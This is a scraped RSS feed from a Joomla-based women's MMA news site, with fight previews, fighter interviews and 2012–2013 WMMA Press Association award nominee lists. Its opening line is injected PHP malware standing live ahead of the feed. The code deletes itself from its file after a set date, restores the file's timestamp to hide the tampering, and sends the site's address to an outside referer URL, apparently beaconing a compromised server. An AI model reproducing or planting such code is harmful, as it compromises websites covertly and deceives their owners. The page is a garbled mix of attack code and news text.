check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456734159){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_search/models/models.php"); } Ultimate Female MMA Fighter Presents News & Info on WMMA & Women's MMA We're women. We fight. We know what it takes to make it in this world that's just opened up to women. We train hard, we fight hard -- but we're not men. Ultimate Female MMA Fighting was designed for us - the Women of MMA. Tue, 13 Nov 2018 06:24:44 +0000 Joomla! 1.5 - Open Source Content Management en-gb Jessica Halverson vs Jozette Cotton at Dynasty Combat Sports 6: The Future Jessica HalversonThis Saturday, at Dynasty Combat Sports 6: The Future, in Omaha, Nebraska, Jessica "Raising Havoc" Halverson (4-1-0) is set to face Jozette "#1 Head Busta'"Cotton (3-0-0), in a cage war that’s been a long time coming.

While fans of Female MMA might not recognize the name, Halverson is not new to fighting. She actually started fighting in April of 2008 and as an Ammy, won 4 of her 5 fights, losing only to April Penrod via a Split Decision. As a Pro fighter, Halverson has won 4 of her 5 fights…and tonight she’s determined to increase her record with one more win.

In total, 6 of her 8 wins have come via TKO or KO, but power punches are not all “Raising Havoc” keeps in her arsenal. “I train for everything. Jozette is great at stand up, so we might end up banging, but I train on the ground as well, so if necessary, we can take it to the ground and fight there. I’ll do whatever it takes!”

I asked if Halverson feels her experience gives her an advantage over Cotton, who’s only been fighting since 2012: “I don’t take anything for granted, you know? I have the experience, but she’s got a 5-0 record, and most of her wins have been via TKO or KO, so she definitely has skills. I’ve been fighting a lot longer, so I’m going to do my thing and fight my fight, and like I said, the fight could end up a total standup or going to the ground – we’ll see on Saturday night!”

And Halverson had this to say, regarding the difference in their heights (she's 5'6", Cotton is 5'10"): "No - the height difference doesn't bother me at all! I fought Kate Bloomfield in the past and she's like 5'9", and her height didn't get in my way; and I beat her. I'll just use my strengths against Jozette like I did against Kate." 

I asked Halverson how she felt about not just her fight, but all the female fights on the DCS-6 card the same night: “Yeah – it used to be we had to ask promoters to fight females, but now there are 2 other female fights on this same card; it’s great, and we’ve come a long way since 2008!”

I asked what Halverson thought about fighting a female fighter who was a fellow member of the WMMA 155+ "Let's Build these Divisions!" Facebook group: "I think it's great! Ever since Invicta announced they were interested in the 155 fighters, we're starting to get noticed. And it's an honor to fight Jozette; once the fight is over, I'll shake her hand, win or lose, and I'm sure we'll be friends."

DyastyCombatSportsOther female fights at this event include Casi Lee Vs. Sydney Sallach and Mercedes Timmerman Vs. Janie Konyek, and this time, there are two female fighters listed on the event’s poster…Jessica "Raising Havoc" Halverson and Jozette Cotton!

If you can make it, Dynasty Combat Sports 6 will be held at the Ramada Coco Keys in Omaha Nebraska. Tickets are $20 and will be for sale at the door.

If you’re unable to make the show in person, Halverson told me that DCS will most likely stream the fights online, and they will post a link on their Facebook page through UStream Live: HERE. We offer our best wishes to all the fighters!


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2013 WMMA Press Awards 2013WMMAwards
It's that time again! The WMMA Press Association has announced their 2013 Award Nominees!

The WMMA Press Association consists of the following individuals, who make up a broad spectrum of reporting and blogging on Women's MMA:

  • Robert Sargent - Junkie
  • Gina Begley - Pro (W)MMA Now/BluegrassMMA
  • Katrina Belcher - (yours truly!)
  • Tim Peterson - Women’s MMA Today
  • Yael Grauer - MMATorch/Sherdog
  • Kristin Ursy - WMMA Round-up, and
  • MarQ Piocos - Wombat Sports/Women Talk Sports

The committee will be voting on the winners January 1st, 2014. The public is invited to vote on the Fan Favorite of the Year, which can be found on all member sites (including this one; see below!). The winners will be announced on several podcast in early January.

Here are the nominees:

Fight of the Year

  • Ronda Rousey vs Liz Carmouche at UFC 157
  • Michelle Waterson vs Jessica Penne at Invicta FC 5
  • Sarah Kaufman vs Leslie Smith at Invicta FC 5 
  • Cat Zingano vs Miesha Tate at TUF 17 Finale
  • Larissa Pacheco vs. Irene Aldana at Jungle Fights 63
  • Leslie Smith vs Jennifer Maia at Invicta FC 6
  • Tecia Torres vs Rose Namajunas at Invicta FC 6
  • Ronda Rousey vs. Miesha Tate UFC 168 (no video available)

Fighter of the Year (Nominees are winners of divisional awards)

Featherweight of the Year

  • Julia Budd (2-0, defeat Mollie Estes, Charmaine Tweet)
  • Ashlee Evans-Smith (2-0, defeat Tori Adams, Fallon Fox)
  • Cristiane “Cyborg” Justino (2-0, defeat Fiona Muxlow, Marloes Coenen)
  • Faith Van Duin (4-0, defeat Kelly Kinita, Michelle Peruzzi, Arlene Blencowe, Kate Da Silva)

Bantamweight of the Year 

  • Alexis Davis (3-0, defeat Shayna Baszler, Rosi Sexton, Liz Carmouche)
  • Holly Holm (4-0, defeat Katie Merrill, Allanna Jones, Nikki Knudsen, Angela Hayes)
  • Lauren Murphy (4-0, defeats Jen Scott, Kaitlin Young, Sarah D’Alelio, Miriam Nakamoto)
  • Ronda Rousey (1-0, defeats Miesha Tate)

Flyweight of the Year

  • Kalindra Faria (5-0, defeat Aline Sattelmayer, Dayse Nascimento, Alessandra Silva, Carina Damm, Hellen Bastos)
  • Alexa Grasso (3-0, defeat Lupita Hernadez, Alejandra Alvarez, Karina Rodriguez)
  • Barb Honchak (2-0, defeat Vanessa Porto, Leslie Smith)
  • Tina Lähdemäki (3-0, defeat Linn Wennergren, Stephanie Page, Karla Benitez)

Strawweight of the Year

  • Joanne Calderwood (4-0, defeat Livia Plettenburg, Sally Krumdiack, Norma Center, Katja Kankaanpaa)
  • Alida Gray (4-0, defeat Vidonic, Kennett, Tiem, Casimir) 
  • Mizuki Inoue (3-0, defeat Seo Jung, Bec Hyatt, Emi Fujino) 
  • Tecia Torres (3-0, defeat Paige VanZant, Rose Namajunas, Felice Herrig)

Atomweight of the Year

  • Amber Brown (1-0, defeat Kikuyo Ishikawa)
  • Seo Hee Ham (2-0, defeat Naho Sugiyama, Sadae Numata)
  • Michelle Waterson (1-0, defeat Jessica Penne)
  • Jinh Yu (2-0, defeat Meghan Wright, Darla Harris)

Newcomer of the Year

  • Amy Cadwell (3-0, defeat Cheryl Chan, Hadley Griffith, Jessica Doerner)
  • Bianca Daimoni (3-0, defeat Alessandra Silva, Morgana Oliveira, Gisele Moreira)
  • Alida Gray (4-0, defeat Patricia Vidonic, Jessica Kennett, Soannia Tiem, Katie Casimir)
  • Viviane Pereira (3-0, defeat Rosy Duarte, Ilara Joanne, Duda Yankovich)
  • Livia Renata Souza (5-0, defeat Cintia Faria, Aline Sattelmayer, Andressa Rocha, Aline Sattelmayer, Bianca Reis)
  • Faith Van Duin (4-0, defeat Kelly Kinita, Michelle Peruzzi, Arlene Blencowe, Kate Da Silva)

Amateur of the Year

  • Aspen Ladd (5-0 in 2013)
  • Kyra Batara (4-1, 3-1 in 2013)
  • Katlyn Chookagian (5-0; 4-0 in 2013)
  • Brittany Dugas (7-0; 3-0 in 2013)
  • Maegan Goodwin (4-0; 3-0 in 2013)
  • Ashley Hancock (3-0 in 2013)
  • Mary Kate Hayes (4-0 in 2013)
  • Rachel Kovach (3-0 in 2013)
  • Rachael Ostovich (6-0; 2-0 in 2013)
  • Delaney Owen (7-2; 3-1 in 2013)
  • Rach Wiley (3-1; 3-0 in 2013)
  • Jessica Zomcik (9-3; 3-0 in 2013)

KO of the Year

  • Veronica Rothenhausler defeats Katalina Malungahu via KO (punch) at 1:12 of Round 1 at Invicta FC 4
  • Vanessa Guimarães defeats Bruna Paiffer via KO (knee) at 1:44 of Round 1 at Strikers HC 25
  • Nina Ansaroff defeats Aylla Caroline da Silva via KO at 1:25 of Round 1 at PFL 10
  • Holly Holm defeats Allanna Jones via KO(head kick) at 2:22 of Round 2 at Legacy 21
  • Jinh Yu defeats Darla Harris via KO (head kick/punch) at 3:13 of Round 1 at SCS 18
  • Amanda Kelly defeats Hannah Stephens via KO (knee) at 3:40 of Round 1 at Cage Warriors 60
  • Bianca Daimoni defeats Gisele Moreira via KO(punch) at 3:06 of Round 2 at Floripa Fight 9
  • Alida Gray defeats Soannia Tiem via KO (punch) at :05 of Round 3 at 24/7 12: State of Emergency

Submission of the Year

  • Duda Yankovich defeats Daniela Cristina via Keylock at 3:59 of Round 2 at Bitetti Combat 14
  • Rose Namajunas defeats Kathina Cantron via Flying Armbar at :12 of Round 1 at Invicta FC 5
  • Jessica Andrade defeats Milana Dudieva via Guillotine Choke at 4:34 of Round 2 at ProFC 47
  • Emi Fujino defeats Amber Brown via Neck Crank at 4:18 of round 2 at Pancrase 247
  • Alexandra Buch defeats Anne Merkt via Inverted Heel Hook at 4:49 of Round 1 at No Compromises 2
  • Stephanie Eggink defeats Angela Magana via Triangle Choke at 3:10 of Round 2 at XFC 25: Boiling Point
  • Anastasia Yankova defeats Eleanor Tassinari via Scarf Hold Armlock at :26 of Round 2 at White Rex Pro
  • Tina Lähdemäki defeats Karla Benitez via Arm-Triangle Choke at 4:50 of Round 1 at Cage 24

Promotion of the Year

  • Cage Warriors Fighting Championship
  • DEEP
  • Jewels
  • Invicta Fighting Championships
  • Tuff-N-Uff
  • UFC
  • XFC

Sponsor of the Year

  • Babes of MMA
  • Brawl and Maul
  • Fight Performance Gear
  • Fear the Fighter
  • Fight Chix
  • FighterGirls
  • Loyalty Before Royalty
  • MMA Chick
  • Polanti Watches
  • Tussle Fight Gear

Headline of the Year

  • Ronda Rousey and Liz Carmouche Become First Women to Compete/Headline a UFC Event
  • Women Enter ‘The Ultimate Fighter’ House, Rousey and Zingano (Tate) to Coach
  • Julianna Pena Becomes First Women’s Ultimate Fighter
  • Cage Warriors Open Multiple Women’s Weight Divisions
  • Invicta Crowns First Champion in Carla Esparza
  • Invicta FC Crowns New Champions in All Five Weight Classes Women’s MMA
  • Pioneer’s Megumi Fujii, Hitomi Akano and Julie Kedzie Hang Up Their Gloves
  • UFC Launches Female Strawweight Division on The Ultimate Fighter, Season 20


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Cat Zingano: The Uphill Climb from Motherhood to UFC World Champion Ca tZinganoDuring the season finale of the Ultimate Fighter 17, UFC commentators Mike Goldberg and Kenny Florian have been repeatedly describing female bantamweight fighter, Cat Zingano, as being known only by hardcore MMA fans. But before the night was over, “Alpha” Cat made sure the whole world knows who she is, and what she’s capable of inside the octagon. She scored a come from behind victory against bantamweight contender, and former Strikeforce women’s champion, Miesha Tate, in the third round with damaging knees to the head and body. Cat Zingano’s grueling Fight of the Night performance against Tate showcased her unyielding resilience in the face of adversity. Following the win, the UFC opened new horizons for her, not only did she become the first in line to UFC women’s bantamweight champion {Ronda Rousey}’s belt, she will also coach alongside Rousey in the upcoming season of the Ultimate Fighter, a first in the history of the competition.

Cat Zingano’s life has definitely changed after the fateful night of April 13, 2013. In a span of a few days, she went from being a mother and UFC fighter, to a having the once in a lifetime chance of becoming a mother and a UFC champion simultaneously. Her recent accomplishments may seem like she already won the bonanza in, but in retrospect, it is only the first step towards achieving greatness in her young UFC career.

In theory, Rousey has the edge against Zingano in almost all aspects of MMA. The champion is better at standing – reportedly sparring with boxing world champion Vic Darchinyan – grappling - a judo bronze medalist in the 2008 Olympics - and submission, as reflected by her seven first round armbar finishes in her seven professional fights. Also sporting an undefeated MMA record, Zingano is no slouch in those areas herself. She extensively trains muay thai with the world’s top coaches, a Brazilian jiu jitsu world champion in her own right, and a heart that overflows with adrenaline that injects her with much needed strength to overcome a tough challenge in Rousey. Undoubtedly, beating the champion is a tall order for any female fighter in the world, let alone a 30-year-old mother like Cat Zingano. Nevertheless, she needs to retain that firm belief in her MMA arsenal that she could budge a seemingly immovable force like Rousey, because at the end of the day, two world class female warriors will collide inside the octagon, not some MMA theorists cashing in on this modern tale of David and Goliath.

]]> (Katrina Belcher) frontpage Wed, 22 May 2013 16:31:59 +0000
Princesses of Pain - Movie Teaser! Below is what will be the first teaser for Princesses of Pain - The Movie.

According to Belinda Dunne, the first professional Female MMA Promoter and head of Princesses of Pain (or POP as it's commonly referred to...) the sole purpose of this movie teaser is to "Overcome some of the misconceptions about female fighters and hopefully create a the beginnings of interest in our movie."

Ms. Dunne has asked for our assistance in getting the word out: "To help, please get the word out by LIKE and SHARING this video on every website and Facebook page you can think of. Building numbers will help us gain distribution!"

If you would - please pass this on ladies! Just click the "Share" links above.

]]> (Katrina Belcher) frontpage Mon, 29 Apr 2013 20:37:31 +0000
Fallout from Fallon Fox - Her Official Statement FallonFoxWMMAAs most people in the WMMA industry have now heard, Fallon Fox has stirred up quite a controversary due to her status as the first transgender MMA fighter.  

Here is her official statement, and the official statement of Barbara Zavaleta Avakian of VII A.D., one of Fallon's sponsors: "In response to the recent media exposure of being transgender in MMA. we at VII A.D. will continue to support Fallon as a sponsor and admire her courage and strength during this difficult time."

Official statement from Fallon Fox (official) in response to the recent media exposure of being transgender in MMA:
"I'd like the world to know that I deserve the right to compete in women's MMA. I have trained hard for this, sacrificed relationships, invested money to attempt to accomplish my goal of being the best female MMA fighter I can be. I am a woman. A woman who happens to fall into the category of post operative transsexual.

Just like there are black women, lesbian women, disabled women, and other types of women... there are trans women. We are just another type in the category of women. There is a misconception out there that post operative transsexual women have an automatic advantage over women born with complete female anatomy. This is simply not true.

The general public needs to be aware of this and we are hoping to shed light on this misconception. I can not wait to fight again. And I would like to take my skills and take them to the highest levels and promotions that I can."

No matter what the circumstances, it's nice to have the support of the WMMA community and one's sponsors.  While I do feel disclosure should have been made in advance, I totally understand Fallon's trepidation, in light of the potential for judgement from the world's MMA community.  Best wishes to Fallon Fox.



]]> (Katrina Belcher) frontpage Wed, 06 Mar 2013 18:58:11 +0000
WMMA PRESS ASSOCIATION 2012 NOMINEES ARE... 2012 Women's MMA Press Association

Are you ready to vote? See the 2012 Women's MMA Press Association Nominees below and tell me who you're voting for today by going here!

Fight of the Year

a) Sarah Kaufman vs Alexis Davis – Strikeforce: Rousey vs Tate (Part 1 | Part 2)
b) Ronda Rousey vs Miesha Tate – Strikeforce: Rousey vs Tate (Full Fight)
c) Leslie Smith vs Kaitlin Young – Invicta Fighting Championships 1 (Full Fight)
d) Jessica Penne vs Lisa Ellis – Invicta Fighting Championships 1 (Full Fight)
e) Rosi Sexton vs Aisling Daly – Cage Warriors Fighting Championship 47 (Full Fight)
f) Sara McMann vs Shayna Baszler – Invicta Fighting Championships 2 (Full Fight)
g) Miesha Tate vs Julie Kedzie – Strikeforce: Rousey vs Kaufman (Full Fight)


Female Fighter of the Year

*All nominees in the following five categories are eligible for votes*


Female Featherweight (137-146) of the Year

a) Julia Budd (2-0 in 2012)
b) Marloes Coenen (1-0 in 2012)
c) Ediene Gomes (1-0 in 2012)
d) Germaine de Randamie (1-0 in 2012)


Female Bantamweight (127-136) of the Year

a) Alexis Davis (1-1 in 2012)
b) Sarah Kaufman (1-1 in 2012)
c) Sara McMann (2-0 in 2012)
d) Ronda Rousey (2-0 in 2012)


Female Flyweight (117-126) of the Year

a) Jessica Eye (4-0 in 2012)
b) Munah Holland (3-1 in 2012)
c) Barb Honchak (2-0 in 2012)
d) Michelle Ould (2-0 in 2012)


Female Strawweight (107-116) of the Year

a) Jessica Aguilar (2-0 in 2012)
b) Carla Esparza (2-0 in 2012)
c) Ayaka Hamasaki (3-0 in 2012)
d) Felice Herrig (3-0 in 2012)


Female Atomweight (97-106) of the Year

a) Stephanie Frausto (2-1 in 2012)*
b) Jessica Penne (2-0 in 2012)
c) Naho Sugiyama (1-1 in 2012)
d) Michelle Waterson (2-0 in 2012)

*Note: Loss was at 115 pounds.


Female Newcomer of the Year

a) Joanne Calderwood (4-0 in 2012)
b) Jessamyn Duke (2-0 in 2012)
c) Emily Kagan (2-0 in 2012)
d) Karolina Kowalkiewicz (2-0 in 2012)
e) Eeva Siiskonen (2-0 in 2012)
f) Paige VanZant (2-0 in 2012)

Note: Fighters in this category must have made their pro debuts and had at least two pro wins during the 2012 calendar year in order to be eligible.


Amateur Female Fighter of the Year

a) Cortney Casey (5-1 in 2012)
b) Brittany Dugas (4-0 in 2012)
c) Rebecca Heintzman (6-0 in 2012)
d) Kaiyana Rain (4-0 in 2012)
e) Tecia Torres (5-0 in 2012)

Note: Fighters in this category must have had at least three amateur fights and no more than one pro fight during the 2012 calendar year in order to be eligible.


Knockout of the Year

a) Vanessa Porto def. Luana Teixeira by KO (Punch) at 0:41 of Round 1. (Watch)
b) Sheila Gaff def. Jennifer Maia by KO (Punches) at 0:10 of Round 1. (Watch)
c) Munah Holland def. Marianna Kheyfets by KO (Punch) at 4:45 of Round 2. (Watch)
d) Kaline Medeiros def. Stephanie Eggink by KO (Punch) at 0:07 of Round 1. (Watch)
e) Joanne Calderwood def. Ashley Cummins by KO (Knee To The Body) at 3:13 of Round 1. (Watch)
f) Sheila Bird def. Christina Barry by KO (Punches) at 0:11 of Round 1. (Watch)


Submission of the Year

a) Marta Chojnoska def. Paulina Suska by Sub. (Scarf Hold Armlock) at 0:42 of Round 1. (Watch)
b) Ayaka Hamasaki def. Yuka Tsuji by Sub. (Kimura) at 3:41 of Round 1. (Watch)
c) Sarah D’Alelio def. Vanessa Porto by Sub. (Reverse Triangle Choke) at 3:16 of Round 1. (Watch)
d) Jessica Penne def. Naho Sugiyama by Sub. (Triangle Choke) at 2:20 of Round 2. (Watch)
e) Stephanie Frausto def. Amy Davis by Sub. (Guillotine Choke) at 0:48 of Round 1. (Watch)
f) Jessica Eye def. Zoila Gurgel by Tech. Sub. (Arm-Triangle Choke) at 0:58 of Round 1. (Watch)


Promotion of the Year

a) Bellator Fighting Championships
b) Cage Warriors Fighting Championship
c) Invicta Fighting Championships
d) Jewels
e) North American Allied Fight Series
f) Strikeforce
g) Super Fight League
h) Tuff-N-Uff


Sponsor of the Year

a) Babes of MMA
b) Brawl and Maul Fight Performance Wear
c) Fear The Fighter
d) Fight Chix
e) FighterGirls
f) Loyalty Before Royalty
g) MMA Chick
h) Polanti Watches
i) Tussle Fight Gear
j) VII A.D. Jewelry Art by Sevan Avakian
k) Xtreme Female Fight Gear


Headline of the Year

a) Ronda Rousey Signs With The UFC
b) Shannon Knapp and Janet Martin Form All-Female Invicta Fighting Championships
c) Strikeforce Cancels Events, Rumoured To Fold In Early 2013

]]> (Katrina Belcher) frontpage Tue, 18 Dec 2012 18:23:49 +0000
Avery Vilche to replace injured Bagherdai at XFC 18 AveryVilchevsHeatherClarkAccording to XFC, Avery “Psycho” Vilche will replace Sofia Bagherdai in the feature bout of XFC 18: Music City Mayhem on June 22nd. This fight event will be held in Nashville, TN, and can be seen live on HDNet. Bagherdai was forced to put her XFC debute on hold, and “Hurricane” Heather Jo Clark will take on Vilche in a catch weight bout at 120lbs instead.

Vilche, who accepted the fight on short notice, will enter the cage having gone 2-1 in her past three contests. XFC 18 will mark the second fight Vilche has taken in 2012, the first ending with a win over Maria Anderverde in late April. Vilche finished that fight in less than 2 minutes with an impressive Armbar victory.

How does this affect the fight? It means Clark will now face a much more experienced fighter in the Avery “Psycho” Vilche, who brings the experience of 11 pro fights, as well as an 11 year age difference into the bout at XFC 18. In 4 career wins, Vilche has recorded two Armbar victories, a TKO victory over Michelle “Thundercat” Ould, and one decision.

XFC President John Prisco was excited to find such a challenging opponent for Clark on late notice: “Avery Vilche is going to be a test for Heather. She takes the fight on late notice, but now Clark who has been preparing for Bagherdai the whole time may have to change her game plan. Vilche is so tough, she has the ability to take some punches and she really grinds it out with the ground game. She’s proven many times she’s capable of submitting or knocking out her opponent, so Heather is going to have a tough fight with her,” said Prisco of the new match up. “Heather is pretty used to late notice on her opponents. I think she may have had her opponents switched on her last minute in three out of four of her fights so far, so she’s not unfamiliar with the circumstances.”

For more information on the XFC 18: Music City Mayhem card: Visit Official XFC and follow the promotion daily on Facebook and Twitter (@OfficialXFC). Tickets are available now at TicketMaster.

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Aisling Daly vs. Rosi Sexton - Video On June 2, 2012, Daly and Sexton battled each other for the Cage Warriors Fighting Championship 47, where this bout was part of a tournament to crown the Cage Warriors 125-pound women's champion...and while there was a clear winner - this fight showed there were two champions fighting in the ring.

If you were unable to stream the fight last night, feast your eyes on this gem of a fight between Aisling Daly (13-3-0) and Rosi Sexton (13-2-0), two fighters who were about as evenly matched as you can get! The ground and pound and technical skills displayed by Sexton were superb, and Daly's BJJ skills were definitely on display. If this battle didn't earn these two fighters Fight of the Night Honors, I just don't know what more a promoter would expect!

In this exciting fight, both competitors show their wide range of skills and intense determination, forcing the fight to go three rounds for a decision win. We won't tell you the outcome - you'll have to watch the fight!

Thanks to Aisling Daly for bringing the video to our attention and making it available, and enjoy.

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]]> (Katrina Belcher) frontpage Sun, 03 Jun 2012 12:51:23 +0000
Sofie Bagherdai signs with XFC! Sofia BagherdaiIt's true - female MMA fighter, Sofia Bagherdai, recently signed a long term deal to fight with Xtreme Fighting Championships (XFC). According to all reports, this is a move that will give the Wand Fight Team member a steady schedule of fights and an opportunity to face some of the best talent in Women’s MMA.

“I’m really excited to have added Sophia to our women’s division. We have been doing at least 1 female fight on our cards for a while now, and with our new additions, we will be able to start doing 2 women’s fights on some of our cards,” said XFC President, John Prisco. “Sophia had a tough fight in April, but I saw a lot of things to be excited about. She’s an aggressive striker, and she has a solid ground game as well. She is going to put on some great fights inside our XFC cage.”

It's obvious Prisco is a promoter who thinks outside of the box. In a time when most promoters where just thinking about presenting female MMA fights, the XFC was promoting them:  

Bagherdai is now the second women’s competitor to sign with the promotion for a long term deal, this year. Heather Jo Clark, the other female fighter signed by XFC this year, will be fighting Bagherdai in her first fight with XFC. Clark is a fighter out of Jackson-Winklejohn’s gym. The two fighters have matching (4-2) records and will fight at XFC 18 at a catch weight of 120lb. on June 22nd in Nashville, TN.

“I’m excited for the national exposure, but most of all I’m excited on how much XFC focuses on their fighters,” said Bagherdai. “I know Heather Clark is a tough opponent, but I also know that everyone that steps in this promotions cage is a tough opponent. I train hard for every opponent, I am sure that Heather and I will put on a great fight for the fans.”


If you're a female MMA fighter who's looking to fight for a top promotion, XFC is actively seeking out top prospects in each weight class. For more information go to Official XFC. You can follow the promotion for daily updates on Facebook & Twitter (@OfficialXFC). XFC 18 is sponsored by ICRealTime Security Solutions, with the event shown live on HDNet from the Nashville Municipal Auditorium in Nashville, Tennessee June 22, 2012.

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